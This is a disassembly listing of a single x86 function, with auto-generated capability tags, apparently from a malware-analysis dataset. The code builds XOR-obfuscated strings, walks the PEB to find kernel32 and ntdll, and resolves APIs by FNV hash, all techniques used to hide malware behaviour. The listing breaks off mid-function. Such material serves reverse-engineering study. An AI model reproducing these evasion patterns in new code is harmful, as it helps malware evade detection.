Function at 0x45c960
Capabilities:
Access peb ldr_data
Check os version
Encode data using xor
Get kernel32 base address
Get ntdll base address
Get number of processors
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x50c
push ebx
push esi
push edi
mov dword [esp + 0x30], 0
mov eax, 0x66
mov dword [esp + 0x48], 0x3a
mov ecx, 0x4e
mov word [esp + 0x4c], ax
mov word [esp + 0x4e], ax
mov eax, 0x49
mov word [esp + 0x50], cx
mov word [esp + 0x52], ax
mov eax, 0x59
mov word [esp + 0x54], ax
mov eax, 0x56
mov word [esp + 0x56], ax
mov eax, 0x53
mov word [esp + 0x58], ax
mov eax, 0x5f
mov word [esp + 0x5a], ax
mov eax, 0x54
mov word [esp + 0x5c], ax
mov eax, 0x3a
mov word [esp + 0x5e], cx
mov word [esp + 0x60], ax
movzx eax, word [0x40335e]
xor eax, 0x3a
mov word [esp + 0x62], ax
movzx eax, word [0x403360]
xor eax, 0x3a
mov word [esp + 0x64], ax
movzx eax, word [0x403362]
xor eax, 0x3a
mov word [esp + 0x66], ax
movzx eax, word [0x403364]
xor eax, 0x3a
mov word [esp + 0x68], ax
movzx eax, word [0x403366]
xor eax, 0x3a
mov word [esp + 0x6a], ax
movzx eax, word [0x403368]
xor eax, 0x3a
mov word [esp + 0x6c], ax
movzx eax, word [0x40336a]
xor eax, 0x3a
mov word [esp + 0x6e], ax
movzx eax, word [0x40336c]
xor eax, 0x3a
mov word [esp + 0x70], ax
movzx eax, word [0x40336e]
xor eax, 0x3a
mov word [esp + 0x72], ax
movzx eax, word [0x403370]
xor eax, 0x3a
mov word [esp + 0x74], ax
xor eax, eax
mov word [esp + 0x76], ax
xor edx, edx
mov ax, word [esp + 0x4c]
nop word [eax + eax]
mov ax, word [esp + edx*2 + 0x4c]
movzx ecx, ax
movzx eax, word [esp + 0x48]
xor ecx, eax
mov word [esp + edx*2 + 0x4c], cx
inc edx
cmp edx, 0x15
jb 0x45ca90
mov ebx, dword [0x4f081c]
xor eax, eax
mov word [esp + 0x76], ax
test ebx, ebx
jne 0x45cb56
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [esp + 0x14], eax
mov edx, eax
mov dword [esp + 0x1c], ecx
nop dword [eax]
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [esp + 0x10], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x45cb3c
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [esp + 0x10]
imul eax, eax, 0x1000193
mov dword [esp + 0x10], eax
cmp edi, ebx
jne 0x45cb00
cmp eax, 0xa3e6f6c3
je 0x45e629
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x14]
mov eax, dword [ecx]
mov ecx, eax
mov dword [esp + 0x1c], ecx
cmp eax, edx
je 0x45cb4e
cmp dword [ecx + 0x18], 0
jne 0x45cae0
xor ebx, ebx
mov dword [0x4f081c], ebx
mov eax, dword [0x4f07bc]
test eax, eax
jne 0x45cbf4
test ebx, ebx
je 0x45cbed
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [esp + 0x10], eax
cmp eax, ebx
je 0x45cbed
xor ecx, ecx
mov dword [esp + 0x1c], ecx
cmp dword [eax + 0x18], ecx
je 0x45cbed
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [esp + 0x14], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x45cbd8
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x45cba1
cmp edi, 0xb3c5b296
je 0x45e635
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x10]
inc ecx
add eax, 4
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x14], eax
cmp ecx, dword [edx + 0x18]
jne 0x45cb91
xor eax, eax
mov dword [0x4f07bc], eax
push dword [ebp + 8]
lea ecx, [esp + 0x50]
push ecx
call eax
mov ecx, 0x2d
test eax, eax
je 0x45d0c9
mov dword [esp + 0xe0], 0x60
mov eax, 9
mov word [esp + 0xe4], cx
mov ebx, 3
mov word [esp + 0xe6], ax
mov esi, 0x12
mov word [esp + 0xe8], bx
mov eax, 0xf
mov word [esp + 0xea], si
mov edi, 0x13
mov word [esp + 0xec], ax
mov ecx, 0x40
mov word [esp + 0xee], di
mov edx, 5
mov word [esp + 0xf0], ax
mov eax, 6
mov word [esp + 0xf2], ax
mov eax, 0x14
mov word [esp + 0xf4], ax
mov eax, 0x34
mov word [esp + 0xf6], cx
mov word [esp + 0xf8], ax
mov eax, 0xd
mov word [esp + 0xfa], dx
mov word [esp + 0xfc], si
mov word [esp + 0xfe], ax
mov eax, 9
mov word [esp + 0x100], ax
mov eax, 0xe
mov word [esp + 0x102], ax
mov eax, 1
mov word [esp + 0x104], ax
mov eax, 0xc
mov word [esp + 0x106], ax
mov eax, 0x33
mov word [esp + 0x108], cx
mov word [esp + 0x10a], ax
mov eax, 0x16
mov word [esp + 0x10c], dx
mov word [esp + 0x10e], si
mov word [esp + 0x110], ax
mov eax, 9
mov word [esp + 0x112], ax
mov eax, 0x60
mov word [esp + 0x114], bx
mov word [esp + 0x116], dx
mov word [esp + 0x118], di
mov word [esp + 0x11a], ax
movzx eax, word [0x403398]
xor eax, 0x60
mov word [esp + 0x11c], ax
movzx eax, word [0x40339a]
xor eax, 0x60
mov word [esp + 0x11e], ax
movzx eax, word [0x40339c]
xor eax, 0x60
mov word [esp + 0x120], ax
movzx eax, word [0x40339e]
xor eax, 0x60
mov word [esp + 0x122], ax
movzx eax, word [0x4033a0]
xor eax, 0x60
mov word [esp + 0x124], ax
movzx eax, word [0x4033a2]
xor eax, 0x60
mov word [esp + 0x126], ax
movzx eax, word [0x4033a4]
xor eax, 0x60
mov word [esp + 0x128], ax
movzx eax, word [0x4033a6]
xor eax, 0x60
mov word [esp + 0x12a], ax
movzx eax, word [0x4033a8]
xor eax, 0x60
mov word [esp + 0x12c], ax
movzx eax, word [0x4033aa]
xor eax, 0x60
mov word [esp + 0x12e], ax
movzx eax, word [0x4033ac]
xor eax, 0x60
mov word [esp + 0x130], ax
movzx eax, word [0x4033ae]
xor eax, 0x60
mov word [esp + 0x132], ax
movzx eax, word [0x4033b0]
xor eax, 0x60
mov word [esp + 0x134], ax
movzx eax, word [0x4033b2]
xor eax, 0x60
mov word [esp + 0x136], ax
movzx eax, word [0x4033b4]
xor eax, 0x60
mov word [esp + 0x138], ax
movzx eax, word [0x4033b6]
xor eax, 0x60
mov word [esp + 0x13a], ax
movzx eax, word [0x4033b8]
xor eax, 0x60
mov word [esp + 0x13c], ax
movzx eax, word [0x4033ba]
xor eax, 0x60
mov word [esp + 0x13e], ax
movzx eax, word [0x4033bc]
xor eax, 0x60
mov word [esp + 0x140], ax
movzx eax, word [0x4033be]
xor eax, 0x60
mov word [esp + 0x142], ax
movzx eax, word [0x4033c0]
xor eax, 0x60
mov word [esp + 0x144], ax
movzx eax, word [0x4033c2]
xor eax, 0x60
mov word [esp + 0x146], ax
movzx eax, word [0x4033c4]
xor eax, 0x60
mov word [esp + 0x148], ax
movzx eax, word [0x4033c6]
xor eax, 0x60
mov word [esp + 0x14a], ax
movzx eax, word [0x4033c8]
xor eax, 0x60
mov word [esp + 0x14c], ax
movzx eax, word [0x4033ca]
xor eax, 0x60
mov word [esp + 0x14e], ax
movzx eax, word [0x4033cc]
xor eax, 0x60
mov word [esp + 0x150], ax
xor eax, eax
mov word [esp + 0x152], ax
xor edx, edx
mov ax, word [esp + 0xe4]
nop
mov ax, word [esp + edx*2 + 0xe4]
movzx ecx, ax
movzx eax, word [esp + 0xe0]
xor ecx, eax
mov word [esp + edx*2 + 0xe4], cx
inc edx
cmp edx, 0x37
jb 0x45cf50
mov ebx, dword [0x4f081c]
xor eax, eax
mov word [esp + 0x152], ax
test ebx, ebx
jne 0x45d01a
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [esp + 0x10], eax
mov edx, eax
mov dword [esp + 0x1c], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [esp + 0x14], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x45d000
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [esp + 0x14]
imul eax, eax, 0x1000193
mov dword [esp + 0x14], eax
cmp edi, ebx
jne 0x45cfc4
cmp eax, 0xa3e6f6c3
je 0x45e655
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x10]
mov eax, dword [ecx]
mov ecx, eax
mov dword [esp + 0x1c], ecx
cmp eax, edx
je 0x45d012
cmp dword [ecx + 0x18], 0
jne 0x45cfa5
xor ebx, ebx
mov dword [0x4f081c], ebx
mov eax, dword [0x4f07bc]
test eax, eax
jne 0x45d0b8
test ebx, ebx
je 0x45d0b1
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [esp + 0x10], eax
cmp eax, ebx
je 0x45d0b1
xor ecx, ecx
mov dword [esp + 0x1c], ecx
cmp dword [eax + 0x18], ecx
je 0x45d0b1
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [esp + 0x14], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x45d09c
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x45d065
cmp edi, 0xb3c5b296
je 0x45e661
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x10]
inc ecx
add eax, 4
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x14], eax
cmp ecx, dword [edx + 0x18]
jne 0x45d055
xor eax, eax
mov dword [0x4f07bc], eax
push dword [ebp + 8]
lea ecx, [esp + 0xe8]
push ecx
call eax
test eax, eax
jne 0x45d0d5
lock dec dword [0x4f8bac]
call fcn.004ba7b0
push 0x4f4880
call fcn.004137c0
call eax
xor esi, esi
mov dword [esp + 0x1c], esi
cmp dword [0x4f8b8c], esi
jle 0x45d335
nop dword [eax]
nop word [eax + eax]
mov ebx, dword [0x4f081c]
test ebx, ebx
jne 0x45d1aa
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [esp + 0x18], eax
mov edx, eax
mov dword [esp + 0x10], ecx
nop dword [eax + eax]
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [esp + 0x14], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x45d18c
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [esp + 0x14]
imul eax, eax, 0x1000193
mov dword [esp + 0x14], eax
cmp edi, ebx
jne 0x45d150
cmp eax, 0xa3e6f6c3
je 0x45e681
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x18]
mov eax, dword [ecx]
mov ecx, eax
mov dword [esp + 0x10], ecx
cmp eax, edx
je 0x45d19e
cmp dword [ecx + 0x18], 0
jne 0x45d130
xor ebx, ebx
mov esi, dword [esp + 0x1c]
mov dword [0x4f081c], ebx
mov eax, dword [0x4f07bc]
test eax, eax
jne 0x45d24c
test ebx, ebx
je 0x45d241
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [esp + 0x14], eax
cmp eax, ebx
je 0x45d241
xor ecx, ecx
mov dword [esp + 0x10], ecx
cmp dword [eax + 0x18], ecx
je 0x45d241
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [esp + 0x18], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x45d22c
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x45d1f5
cmp edi, 0xb3c5b296
je 0x45e68d
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
inc ecx
add eax, 4
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
cmp ecx, dword [edx + 0x18]
jne 0x45d1e5
xor eax, eax
mov esi, dword [esp + 0x1c]
mov dword [0x4f07bc], eax
push dword [ebp + 8]
push dword [esi*4 + 0x4f0880]
call eax
test eax, eax
jne 0x45d324
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov edx, dword [eax + 0x18]
mov eax, dword [0x4f8b84]
mov dword [esp + 0x14], edx
test eax, eax
jne 0x45d311
test edx, edx
je 0x45d306
mov eax, dword [edx + 0x3c]
mov ecx, dword [eax + edx + 0x78]
lea eax, [ecx + edx]
mov dword [esp + 0x18], eax
cmp eax, edx
je 0x45d306
xor ecx, ecx
mov dword [esp + 0x10], ecx
cmp dword [eax + 0x18], ecx
je 0x45d306
mov ebx, dword [eax + 0x20]
add ebx, edx
nop dword [eax]
mov esi, dword [ebx]
mov edi, 0x811c9dc5
add esi, edx
mov al, byte [esi]
inc esi
test al, al
je 0x45d2f5
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x45d2c0
mov edx, dword [esp + 0x14]
cmp edi, 0xc2455c18
je 0x45e6ad
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
inc ecx
add ebx, 4
mov dword [esp + 0x10], ecx
cmp ecx, dword [eax + 0x18]
jne 0x45d2b0
xor eax, eax
mov esi, dword [esp + 0x1c]
mov dword [0x4f8b84], eax
push 0x4f4880
call eax
lock dec dword [0x4f8bac]
call fcn.004ba7b0
inc esi
mov dword [esp + 0x1c], esi
cmp esi, dword [0x4f8b8c]
jl 0x45d100
mov dword [esp + 0x78], 0x1f
mov ebx, 0x3a
mov word [esp + 0x7c], bx
mov eax, 0x6c
mov word [esp + 0x7e], ax
mov ecx, 0x2f
mov eax, 0x43
mov edx, 0x2d
mov word [esp + 0x80], ax
mov eax, 0x47
mov word [esp + 0x82], bx
mov word [esp + 0x84], cx
mov word [esp + 0x86], dx
mov word [esp + 0x88], ax
mov word [esp + 0x8a], bx
mov word [esp + 0x8c], cx
mov word [esp + 0x8e], dx
mov word [esp + 0x90], ax
mov word [esp + 0x92], bx
mov word [esp + 0x94], cx
mov word [esp + 0x96], dx
mov word [esp + 0x98], ax
mov word [esp + 0x9a], bx
mov word [esp + 0x9c], cx
mov word [esp + 0x9e], dx
mov word [esp + 0xa0], ax
mov eax, 0x31
mov word [esp + 0xa2], ax
mov eax, 0x73
mov word [esp + 0xa4], ax
mov eax, 0x70
mov word [esp + 0xa6], ax
mov eax, 0x7c
mov word [esp + 0xa8], ax
mov eax, 0x74
mov word [esp + 0xaa], ax
mov eax, 0x1f
mov word [esp + 0xac], ax
movzx eax, word [0x4033ca]
xor eax, 0x1f
mov word [esp + 0xae], ax
movzx eax, word [0x4033cc]
xor eax, 0x1f
mov word [esp + 0xb0], ax
movzx eax, word [0x4033ce]
xor eax, 0x1f
mov word [esp + 0xb2], ax
movzx eax, word [0x4033d0]
xor eax, 0x1f
mov word [esp + 0xb4], ax
movzx eax, word [0x4033d2]
xor eax, 0x1f
mov word [esp + 0xb6], ax
movzx eax, word [0x4033d4]
xor eax, 0x1f
mov word [esp + 0xb8], ax
movzx eax, word [0x4033d6]
xor eax, 0x1f
mov word [esp + 0xba], ax
movzx eax, word [0x4033d8]
xor eax, 0x1f
mov word [esp + 0xbc], ax
movzx eax, word [0x4033da]
xor eax, 0x1f
mov word [esp + 0xbe], ax
movzx eax, word [0x4033dc]
xor eax, 0x1f
mov word [esp + 0xc0], ax
movzx eax, word [0x4033de]
xor eax, 0x1f
mov word [esp + 0xc2], ax
movzx eax, word [0x4033e0]
xor eax, 0x1f
mov word [esp + 0xc4], ax
movzx eax, word [0x4033e2]
xor eax, 0x1f
mov word [esp + 0xc6], ax
movzx eax, word [0x4033e4]
xor eax, 0x1f
mov word [esp + 0xc8], ax
movzx eax, word [0x4033e6]
xor eax, 0x1f
mov word [esp + 0xca], ax
movzx eax, word [0x4033e8]
xor eax, 0x1f
mov word [esp + 0xcc], ax
movzx eax, word [0x4033ea]
xor eax, 0x1f
mov word [esp + 0xce], ax
movzx eax, word [0x4033ec]
xor eax, 0x1f
mov word [esp + 0xd0], ax
movzx eax, word [0x4033ee]
xor eax, 0x1f
mov word [esp + 0xd2], ax
movzx eax, word [0x4033f0]
xor eax, 0x1f
mov word [esp + 0xd4], ax
movzx eax, word [0x4033f2]
xor eax, 0x1f
mov word [esp + 0xd6], ax
movzx eax, word [0x4033f4]
xor eax, 0x1f
mov word [esp + 0xd8], ax
movzx eax, word [0x4033f6]
xor eax, 0x1f
mov word [esp + 0xda], ax
movzx eax, word [0x4033f8]
xor eax, 0x1f
mov word [esp + 0xdc], ax
xor eax, eax
mov word [esp + 0xde], ax
xor edx, edx
mov ax, word [esp + 0x7c]
nop dword [eax]
mov ax, word [esp + edx*2 + 0x7c]
movzx ecx, ax
movzx eax, word [esp + 0x78]
xor ecx, eax
mov word [esp + edx*2 + 0x7c], cx
inc edx
cmp edx, 0x31
jb 0x45d600
mov ebx, dword [0x4f07ac]
xor eax, eax
mov word [esp + 0xde], ax
test ebx, ebx
jne 0x45d6c6
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [esp + 0x14], eax
mov edx, eax
mov dword [esp + 0x10], ecx
nop dword [eax]
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [esp + 0x18], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x45d6ac
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [esp + 0x18]
imul eax, eax, 0x1000193
mov dword [esp + 0x18], eax
cmp edi, ebx
jne 0x45d670
cmp eax, 0xc0323159
je 0x45e6cd
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov eax, dword [ecx]
mov ecx, eax
mov dword [esp + 0x10], ecx
cmp eax, edx
je 0x45d6be
cmp dword [ecx + 0x18], 0
jne 0x45d650
xor ebx, ebx
mov dword [0x4f07ac], ebx
mov ecx, dword [0x4f07b8]
test ecx, ecx
jne 0x45d766
test ebx, ebx
je 0x45d75e
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ebx + ecx]
xor ecx, ecx
mov dword [esp + 0x14], eax
cmp eax, ebx
je 0x45d760
mov dword [esp + 0x10], ecx
cmp dword [eax + 0x18], ecx
je 0x45d75e
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [esp + 0x18], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x45d749
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x45d712
mov ecx, dword [esp + 0x10]
cmp edi, 0xaeb3c6d5
je 0x45e6d9
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
inc ecx
add eax, 4
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
cmp ecx, dword [edx + 0x18]
jne 0x45d702
xor ecx, ecx
mov dword [0x4f07b8], ecx
movzx eax, byte [0x4e2503]
push eax
movzx eax, byte [str.KOH_]
push eax
movzx eax, byte [0x4e2501]
push eax
movzx eax, byte [0x4e2500]
push eax
push dword [ebp + 8]
lea eax, [esp + 0x90]
push eax
lea eax, [esp + 0x320]
push eax
call ecx
mov ebx, dword [0x4f081c]
add esp, 0x1c
test ebx, ebx
jne 0x45d83b
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [esp + 0x14], eax
mov edx, eax
mov dword [esp + 0x10], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [esp + 0x18], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x45d821
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [esp + 0x18]
imul eax, eax, 0x1000193
mov dword [esp + 0x18], eax
cmp edi, ebx
jne 0x45d7e5
cmp eax, 0xa3e6f6c3
je 0x45e6f7
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov eax, dword [ecx]
mov ecx, eax
mov dword [esp + 0x10], ecx
cmp eax, edx
je 0x45d833
cmp dword [ecx + 0x18], 0
jne 0x45d7c6
xor ebx, ebx
mov dword [0x4f081c], ebx
mov eax, dword [0x4f0810]
test eax, eax
jne 0x45d8d9
test ebx, ebx
je 0x45d8d2
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [esp + 0x14], eax
cmp eax, ebx
je 0x45d8d2
xor ecx, ecx
mov dword [esp + 0x10], ecx
cmp dword [eax + 0x18], ecx
je 0x45d8d2
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [esp + 0x18], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x45d8bd
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x45d886
mov ecx, dword [esp + 0x10]
cmp edi, 0xe95da064
je 0x45e703
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
inc ecx
add eax, 4
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
cmp ecx, dword [edx + 0x18]
jne 0x45d876
xor eax, eax
mov dword [0x4f0810], eax
push 0
push 0x4000100
push 1
push 0
push 0
push 0xc0000000
lea ecx, [esp + 0x320]
push ecx
call eax
mov dword [esp + 0x28], eax
cmp eax, 0xffffffff
jne 0x45d923
cmp dword fs:[0x34], 0xb7
jne 0x45d923
push 0x4f4880
call fcn.004138b0
call eax
lock dec dword [0x4f8bac]
call fcn.004ba7b0
mov ecx, 0x410
call fcn.004baba0
mov ecx, dword [0x4f8b8c]
push 0x410
push 0
push eax
mov dword [ecx*4 + 0x4f0880], eax
call fcn.0040d020
mov edx, dword [ebp + 8]
add esp, 0xc
xor ecx, ecx
mov eax, edx
test edx, edx
je 0x45d96a
cmp word [edx], cx
je 0x45d96a
nop word [eax + eax]
lea eax, [eax + 2]
inc ecx
cmp word [eax], 0
jne 0x45d960
lea eax, [ecx*2 + 2]
push eax
mov eax, dword [0x4f8b8c]
push edx
push dword [eax*4 + 0x4f0880]
call fcn.0040d7a0
inc dword [0x4f8b8c]
add esp, 0xc
push 0x4f4880
call fcn.004138b0
call eax
mov eax, dword fs:[0x30]
cmp dword [eax + 0xa4], 5
jbe 0x45daf0
mov ebx, dword [0x4f8bd4]
test ebx, ebx
jne 0x45da49
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [esp + 0x14], eax
mov edx, eax
mov dword [esp + 0x10], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [esp + 0x18], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x45da2f
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [esp + 0x18]
imul eax, eax, 0x1000193
mov dword [esp + 0x18], eax
cmp edi, ebx
jne 0x45d9f3
cmp eax, 0x4f644736
je 0x45e721
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov eax, dword [ecx]
mov ecx, eax
mov dword [esp + 0x10], ecx
cmp eax, edx
je 0x45da41
cmp dword [ecx + 0x18], 0
jne 0x45d9d4
xor ebx, ebx
mov dword [0x4f8bd4], ebx
mov eax, dword [0x4f8b9c]
test eax, eax
jne 0x45dae7
test ebx, ebx
je 0x45dae0
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [esp + 0x14], eax
cmp eax, ebx
je 0x45dae0
xor ecx, ecx
mov dword [esp + 0x10], ecx
cmp dword [eax + 0x18], ecx
je 0x45dae0
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [esp + 0x18], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x45dacb
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x45da94
mov ecx, dword [esp + 0x10]
cmp edi, 0xa7f75ed6
je 0x45e72d
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
inc ecx
add eax, 4
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
cmp ecx, dword [edx + 0x18]
jne 0x45da84
xor eax, eax
mov dword [0x4f8b9c], eax
push 7
push dword [ebp + 8]
push 0
call eax
push 4
lea eax, [esp + 0x40]
mov dword [esp + 0x40], 0x5c005c
push eax
push dword [ebp + 8]
call fcn.0040d3c0
add esp, 0xc
test eax, eax
je 0x45dc7e
mov ebx, dword [0x4f081c]
test ebx, ebx
jne 0x45dbb6
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [esp + 0x14], eax
mov edx, eax
mov dword [esp + 0x10], ecx
nop word [eax + eax]
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [esp + 0x18], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x45db9c
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [esp + 0x18]
imul eax, eax, 0x1000193
mov dword [esp + 0x18], eax
cmp edi, ebx
jne 0x45db60
cmp eax, 0xa3e6f6c3
je 0x45e74b
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov eax, dword [ecx]
mov ecx, eax
mov dword [esp + 0x10], ecx
cmp eax, edx
je 0x45dbae
cmp dword [ecx + 0x18], 0
jne 0x45db40
xor ebx, ebx
mov dword [0x4f081c], ebx
mov eax, dword [0x4f8bb8]
test eax, eax
jne 0x45dc54
test ebx, ebx
je 0x45dc4d
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [esp + 0x14], eax
cmp eax, ebx
je 0x45dc4d
xor ecx, ecx
mov dword [esp + 0x10], ecx
cmp dword [eax + 0x18], ecx
je 0x45dc4d
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [esp + 0x18], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x45dc38
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
